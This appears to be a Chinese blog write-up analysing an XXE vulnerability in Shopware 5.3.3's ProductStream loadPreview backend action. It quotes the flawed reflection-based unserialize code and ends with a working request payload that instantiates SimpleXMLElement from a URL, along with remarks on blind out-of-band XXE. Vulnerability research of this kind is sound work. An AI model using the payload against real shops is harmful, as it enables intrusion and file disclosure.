这篇咕了好几天了。。
问题出在/engine/Shopware/Controllers/Backend/ProductStream.php中Shopware_Controllers_Backend_ProductStream类的loadPreviewAction方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| public function loadPreviewAction() { $conditions = $this->Request()->getParam('conditions'); $conditions = json_decode($conditions, true);
$sorting = $this->Request()->getParam('sort');
$criteria = new Criteria();
$streamRepo = $this->get('shopware_product_stream.repository'); $sorting = $streamRepo->unserialize($sorting);
foreach ($sorting as $sort) { $criteria->addSorting($sort); }
$conditions = $streamRepo->unserialize($conditions);
foreach ($conditions as $condition) { $criteria->addCondition($condition); }
$criteria->offset($this->Request()->getParam('start', 0)); $criteria->limit($this->Request()->getParam('limit', 20));
$context = $this->createContext( $this->Request()->getParam('shopId'), $this->Request()->getParam('currencyId'), $this->Request()->getParam('customerGroupKey') );
$criteria->addBaseCondition( new CustomerGroupCondition([$context->getCurrentCustomerGroup()->getId()]) );
$category = $context->getShop()->getCategory()->getId(); $criteria->addBaseCondition( new CategoryCondition([$category]) );
$result = Shopware()->Container()->get('shopware_search.product_search') ->search($criteria, $context);
$products = array_values($result->getProducts());
$this->View()->assign([ 'success' => true, 'data' => $products, 'total' => $result->getTotalCount(), ]); }
|
1
| $sorting = $streamRepo->unserialize($sorting);
|
- 猜测这个unserialize方法类似于php内置的unserailize 函数,都是用于将字符串恢复成相应的对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
|
public function unserialize($serialized, $errorSource) { $classes = [];
foreach ($serialized as $className => $arguments) { $className = explode('|', $className); $className = $className[0];
try { $classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments); } catch (\Exception $e) { $this->logger->critical($errorSource . ': ' . $e->getMessage()); } } return $classes; }
|
- 在createInstanceFromNamedArguments方法中会利用反射实例化指定的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
|
public function createInstanceFromNamedArguments($className, $arguments) { $reflectionClass = new \ReflectionClass($className);
if (!$reflectionClass->getConstructor()) { return $reflectionClass->newInstance(); }
$constructorParams = $reflectionClass->getConstructor()->getParameters();
$newParams = []; foreach ($constructorParams as $constructorParam) { $paramName = $constructorParam->getName();
if (!isset($arguments[$paramName])) { if (!$constructorParam->isOptional()) { throw new \RuntimeException(sprintf("Required constructor Parameter Missing: '$%s'.", $paramName)); } $newParams[] = $constructorParam->getDefaultValue();
continue; }
$newParams[] = $arguments[$paramName]; }
return $reflectionClass->newInstanceArgs($newParams); }
|
- 整个过程用户可控的且没有限制,因此可以去实例化一个SimpleXMLElement类进行XXE攻击,payload如下
1
| /shopware-5.3.3/backend/ProductStream/loadPreview?_dc=1575439441940&sort={"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions=%7B%7D&shopId=1¤cyId=1&customerGroupKey=EK&page=1&start=0&limit=25
|
- 不过这里没有输出$sorting,所以没有回显。需要引入外部实体来进行Blind OOB XXE,不过要注意php的xmllib在2.9.0后默认不解析外部实体